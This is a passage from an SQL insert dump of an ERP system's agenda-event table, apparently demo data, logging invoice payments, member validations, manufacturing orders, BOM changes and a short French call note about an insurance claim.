10:22:55',12,NULL,NULL,NULL,NULL,0,12,1,NULL,0,0,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(463,'463',NULL,1,'2019-12-06 00:00:00',NULL,11,'AC_INT','Intervention on customer site','2019-12-21 20:30:11','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,1,NULL,0,1,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(464,'464',NULL,1,'2019-12-23 14:16:59','2019-12-23 14:16:59',40,'AC_BILL_PAYED','Invoice FA1601-0024 changed to paid','2019-12-23 14:16:59','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1601-0024 changed to paid',149,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(465,'465',NULL,1,'2019-12-23 14:17:18','2019-12-23 14:17:18',40,'AC_BILL_PAYED','Invoice FA1601-0024 changed to paid','2019-12-23 14:17:18','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1601-0024 changed to paid',149,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(466,'466',NULL,1,'2019-11-23 14:25:00',NULL,50,'AC_OTH','Test','2019-12-23 17:25:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,1,NULL,0,0,-1,'',NULL,NULL,'18/11 17h06 : Message laissé. Me rappeler pour m'en dire plus. 
\r\n
\r\n20/11 10h17 "A rappeler suite au msg laissé le 14/11, dit que c'est urgent"
\r\n12h22 : message laissé. Je lui envoie un sms
\r\n
\r\n"Déclaration de sinistre originale" : constat de ce qui s'est passé.
\r\nElle envoie le chèque de solde dès demain.
\r\n
\r\n3/12 : Elle préfère avoir plus d'infos sur le sinistre pour l'assurance.
\r\nCourrier envoyé le 4/12/19 par mail et par courrier postal
\r\n
\r\n6/12 15h02 : ont obtenu le feu vert de l'assurance.
\r\nOn bloque 16/12 PM à partir de 14h30. ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(467,'467',NULL,1,'2020-01-01 14:35:47','2020-01-01 14:35:47',40,'AC_MEMBER_VALIDATE','Adhérent aze aze validé','2020-01-01 14:35:47','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent aze aze validé\nAdhérent: aze aze\nType: Board members',5,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(468,'468',NULL,1,'2020-01-01 14:50:59','2020-01-01 14:50:59',40,'AC_MEMBER_VALIDATE','Adhérent azr azr validé','2020-01-01 14:50:59','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azr azr validé\nAdhérent: azr azr\nType: Board members',6,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(469,'469',NULL,1,'2020-01-01 15:00:16','2020-01-01 15:00:16',40,'AC_MEMBER_VALIDATE','Adhérent azt azt validé','2020-01-01 15:00:16','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azt azt validé\nAdhérent: azt azt\nType: Board members',7,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(470,'470',NULL,1,'2020-01-01 15:08:20','2020-01-01 15:08:20',40,'AC_MEMBER_VALIDATE','Adhérent azu azu validé','2020-01-01 15:08:20','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azu azu validé\nAdhérent: azu azu\nType: Board members',8,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(471,'471',NULL,1,'2020-01-01 15:27:24','2020-01-01 15:27:24',40,'AC_MEMBER_VALIDATE','Adhérent azi azi validé','2020-01-01 15:27:24','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azi azi validé\nAdhérent: azi azi\nType: Board members',9,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(472,'472',NULL,1,'2020-01-01 15:36:29','2020-01-01 15:36:29',40,'AC_MEMBER_VALIDATE','Adhérent azo azo validé','2020-01-01 15:36:29','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azo azo validé\nAdhérent: azo azo\nType: Board members',10,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(473,'473',NULL,1,'2020-01-01 15:44:25','2020-01-01 15:44:25',40,'AC_MEMBER_VALIDATE','Adhérent azp azp validé','2020-01-01 15:44:25','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azp azp validé\nAdhérent: azp azp\nType: Board members',11,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(478,'478',NULL,1,'2020-01-01 16:52:32','2020-01-01 16:52:32',40,'AC_MEMBER_VALIDATE','Adhérent azq azq validé','2020-01-01 16:52:32','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azq azq validé\nAdhérent: azq azq\nType: Board members',12,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(483,'483',NULL,1,'2020-01-01 17:49:05','2020-01-01 17:49:05',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0006 validated','2020-01-01 17:49:05','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 validated',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(484,'484',NULL,1,'2020-01-01 17:50:41','2020-01-01 17:50:41',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SA2001-0001 validated','2020-01-01 17:50:41','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 validated',23,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(485,'485',NULL,1,'2020-01-01 17:50:44','2020-01-01 17:50:44',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 17:50:44','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',23,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(486,'486',NULL,1,'2020-01-01 17:51:22','2020-01-01 17:51:22',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI2001-0006 go back to draft status','2020-01-01 17:51:22','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 go back to draft status',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(487,'487',NULL,1,'2020-01-01 20:17:00','2020-01-01 20:17:00',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0006 validated','2020-01-01 20:17:00','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 validated',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(488,'488',NULL,1,'2020-01-01 20:17:46','2020-01-01 20:17:46',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SA2001-0001 validated','2020-01-01 20:17:46','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 validated',24,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(489,'489',NULL,1,'2020-01-01 20:17:51','2020-01-01 20:17:51',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 20:17:51','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',24,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(490,'490',NULL,1,'2020-01-01 20:20:22','2020-01-01 20:20:22',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SA2001-0001 validated','2020-01-01 20:20:22','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 validated',26,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(491,'491',NULL,1,'2020-01-01 20:20:31','2020-01-01 20:20:31',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 20:20:31','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',26,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(492,'492',NULL,1,'2020-01-01 20:21:35','2020-01-01 20:21:35',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI2001-0006 go back to draft status','2020-01-01 20:21:35','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 go back to draft status',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(493,'493',NULL,1,'2020-01-01 20:21:42','2020-01-01 20:21:42',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0006 validated','2020-01-01 20:21:42','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 validated',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(494,'494',NULL,1,'2020-01-01 20:21:55','2020-01-01 20:21:55',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SA2001-0001 validated','2020-01-01 20:21:55','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 validated',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(495,'495',NULL,1,'2020-01-01 20:23:02','2020-01-01 20:23:02',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0007 validated','2020-01-01 20:23:02','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0007 validated',28,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(496,'496',NULL,1,'2020-01-01 20:23:17','2020-01-01 20:23:17',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 20:23:17','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(497,'497',NULL,1,'2020-01-01 20:25:36','2020-01-01 20:25:36',40,'AC_BILL_SUPPLIER_PAYED','Invoice SI2001-0007 changed to paid','2020-01-01 20:25:36','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0007 changed to paid',28,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(498,'498',NULL,1,'2020-01-01 20:51:37','2020-01-01 20:51:37',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SA2001-0002 validated','2020-01-01 20:51:37','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0002 validated',30,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(499,'499',NULL,1,'2020-01-01 20:51:48','2020-01-01 20:51:48',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0002 changed to paid','2020-01-01 20:51:48','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0002 changed to paid',30,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(500,'500',NULL,1,'2020-01-01 21:02:39','2020-01-01 21:02:39',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 21:02:39','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(501,'501',NULL,1,'2020-01-01 21:03:01','2020-01-01 21:03:01',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 21:03:01','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(502,'502',NULL,1,'2020-01-01 21:11:10','2020-01-01 21:11:10',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 21:11:10','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(503,'503',NULL,1,'2020-01-01 21:20:07','2020-01-01 21:20:07',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 21:20:07','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(504,'504',NULL,1,'2020-01-01 21:21:28','2020-01-01 21:21:28',40,'AC_BILL_SUPPLIER_PAYED','Invoice SI2001-0007 changed to paid','2020-01-01 21:21:28','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0007 changed to paid',28,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(505,'505',NULL,1,'2020-01-01 22:06:30','2020-01-01 22:06:30',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 22:06:31','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(506,'506',NULL,1,'2020-01-01 23:54:16','2020-01-01 23:54:16',40,'AC_PRODUCT_MODIFY','Product APPLEPIE modified','2020-01-01 23:54:16','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct APPLEPIE modified',4,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(507,'507',NULL,1,'2020-01-02 20:49:34','2020-01-02 20:49:34',40,'AC_BILL_PAYED','Invoice FA1601-0024 changed to paid','2020-01-02 20:49:34','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1601-0024 changed to paid',149,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(508,'508',NULL,1,'2020-01-02 23:02:35','2020-01-02 23:02:35',40,'AC_PRODUCT_MODIFY','Product APPLEPIE modified','2020-01-02 23:02:35','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct APPLEPIE modified',4,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(509,'509',NULL,1,'2020-01-02 23:45:01','2020-01-02 23:45:01',40,'AC_BOM_REOPEN','BOM reopen','2020-01-02 23:45:01','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM reopen',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(511,'511',NULL,1,'2020-01-02 23:57:42','2020-01-02 23:57:42',40,'AC_MRP_MO_VALIDATE','MO validated','2020-01-02 23:57:42','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO validated',14,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(512,'512',NULL,1,'2020-01-03 13:33:54','2020-01-03 13:33:54',40,'AC_BOM_UNVALIDATE','BOM unvalidated','2020-01-03 13:33:54','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM unvalidated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(513,'513',NULL,1,'2020-01-03 13:34:11','2020-01-03 13:34:11',40,'AC_BOM_VALIDATE','BOM validated','2020-01-03 13:34:11','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM validated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(514,'514',NULL,1,'2020-01-03 13:35:45','2020-01-03 13:35:45',40,'AC_MRP_MO_VALIDATE','MO validated','2020-01-03 13:35:45','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO validated',18,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(515,'515',NULL,1,'2020-01-03 14:10:41','2020-01-03 14:10:41',40,'AC_MRP_MO_VALIDATE','MO validated','2020-01-03 14:10:41','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO validated',18,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(516,'516',NULL,1,'2020-01-06 00:39:58','2020-01-06 00:39:58',40,'AC_COMPANY_CREATE','Patient créé','2020-01-06 00:39:58','2021-04-15 10:22:55',12,NULL,NULL,29,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPatient créé',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(517,'517',NULL,1,'2020-01-06 00:49:06','2020-01-06 00:49:06',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI2001-0006 go back to draft status','2020-01-06 00:49:06','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 go back to draft status',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(518,'518',NULL,1,'2020-01-06 06:50:05','2020-01-06 06:50:05',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-06 06:50:05','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',14,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(519,'519',NULL,1,'2020-01-06 20:52:28','2020-01-06 20:52:28',40,'AC_OTH_AUTO','Consultation 2 recorded (Patient)','2020-01-06 20:52:28','2021-04-15 10:22:55',12,NULL,NULL,29,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Consultation 2 recorded (Patient)\nAuthor: admin',2,'cabinetmed_cons',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(520,'520',NULL,1,'2020-01-07 20:25:02','2020-01-07 20:25:02',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 20:25:02','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(521,'521',NULL,1,'2020-01-07 21:12:37','2020-01-07 21:12:37',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:12:37','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(522,'522',NULL,1,'2020-01-07 21:13:00','2020-01-07 21:13:00',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:13:00','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(523,'523',NULL,1,'2020-01-07 21:13:49','2020-01-07 21:13:49',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:13:49','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(524,'524',NULL,1,'2020-01-07 21:46:58','2020-01-07 21:46:58',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:46:58','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(525,'525',NULL,1,'2020-01-07 21:52:34','2020-01-07 21:52:34',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:52:34','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(526,'526',NULL,1,'2020-01-07 21:53:44','2020-01-07 21:53:44',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:53:44','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(527,'527',NULL,1,'2020-01-07 21:53:58','2020-01-07 21:53:58',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:53:58','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(528,'528',NULL,1,'2020-01-07 21:54:12','2020-01-07 21:54:12',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:54:12','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(529,'529',NULL,1,'2020-01-07 22:00:55','2020-01-07 22:00:55',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 22:00:55','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(530,'530',NULL,1,'2020-01-07 22:39:52','2020-01-07 22:39:52',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 22:39:52','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO 